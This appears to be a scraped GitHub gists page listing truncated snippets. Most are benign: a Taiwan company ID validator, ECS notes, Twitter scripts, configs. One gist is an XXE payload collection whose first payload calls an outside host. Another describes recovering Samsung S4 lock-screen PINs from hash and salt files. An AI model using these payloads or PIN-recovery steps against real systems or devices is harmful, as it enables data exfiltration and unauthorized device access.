Skip to content

Instantly share code, notes, and snippets.

@manuelbua
manuelbua / gist:546ee860bb2b4172f638666df1a87979
Created April 10, 2018 18:42 — forked from kaochenlong/gist:1889703
台灣公司統一編號判斷規則
# encoding: utf-8
def company_serial_no_checker(serial)
# 共八位,全部為數字型態
at_least_8_digits = /^\d{8}$/
return false unless at_least_8_digits.match(serial)
# 各數字分別乘以 1,2,1,2,1,2,4,1
# 例:統一編號為 53212539
@manuelbua
manuelbua / XXE_payloads
Created August 20, 2016 21:00 — forked from staaldraad/XXE_payloads
XXE Payloads
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>
@manuelbua
manuelbua / gist:1711eaf709cba76b46fd
Created February 10, 2016 09:31 — forked from LearnCocos2D/gist:77f0ced228292676689f
Overview of Entity Component System (ECS) variations with pseudo-code

For background and further references see: Entity Component Systems on Wikipedia

ECS by Scott Bilas (GDC 2002)

Entity->Components->Update
  • entity = class: no logic + no data OR at most small set of frequently used data (ie position)
  • component = class: logic + data
foreach entity in allEntities do
    foreach component in entity.components do
'''
Rewrite with Twittcher ;)
Result (every 20 seconds):
>>> Most common words: [('ferguson', 41), ('http', 28), ('protests', 9),
('missouri', 9), ('leave', 8), ('continue', 8),...]
'''
import re
from collections import Counter
from twittcher import SearchWatcher
'''
A script for analyzing twitter stats on Ferguson
'''
import json
import re
import tweepy
def get_api():
'''
import com.badlogic.gdx.ApplicationListener;
import com.badlogic.gdx.Gdx;
import com.badlogic.gdx.Input.Keys;
import com.badlogic.gdx.InputAdapter;
import com.badlogic.gdx.backends.lwjgl.LwjglApplication;
import com.badlogic.gdx.graphics.Color;
import com.badlogic.gdx.graphics.GL10;
import com.badlogic.gdx.graphics.OrthographicCamera;
import com.badlogic.gdx.graphics.Pixmap.Format;
import com.badlogic.gdx.graphics.Texture;
<VirtualHost *>
ServerName example.com
WSGIDaemonProcess www user=max group=max threads=5
WSGIScriptAlias / /home/max/Projekte/flask-upload/flask-upload.wsgi
<Directory /home/max/Projekte/flask-upload>
WSGIProcessGroup www
WSGIApplicationGroup %{GLOBAL}
Order deny,allow
#!/usr/bin/python
'''
Python implementation of passcode hashing algorithm used on the Samsung Galaxy S4 GT-I9505 4.2.2
Correct PIN for hash and salt below is 1234.
Get 40-character hash value in ascii hex format from file /data/system/password.key on the phone
Get salt in signed numeric format by doing sqlite3 query SELECT value FROM locksettings WHERE name = 'lockscreen.password_salt' on /data/system/locksettings.db
@manuelbua
manuelbua / PKGBUILD
Created January 14, 2014 18:43 — forked from huyderman/PKGBUILD
# Maintainer: Jo-Herman Haugholt <johannes@huyderman.com>
pkgname=gitver-git
pkgver=0.0.0
pkgrel=1
pkgdesc="Simple version string management for git"
arch=('any')
url="https://github.com/manuelbua/gitver"
license=('Apache')
groups=()
"""
A systemd socket activated TLS twisted.web server.
$ tree /srv/www/
/srv/www/
`-- www.example.com
|-- server.key
|-- server.pem
|-- server.tac.py
`-- static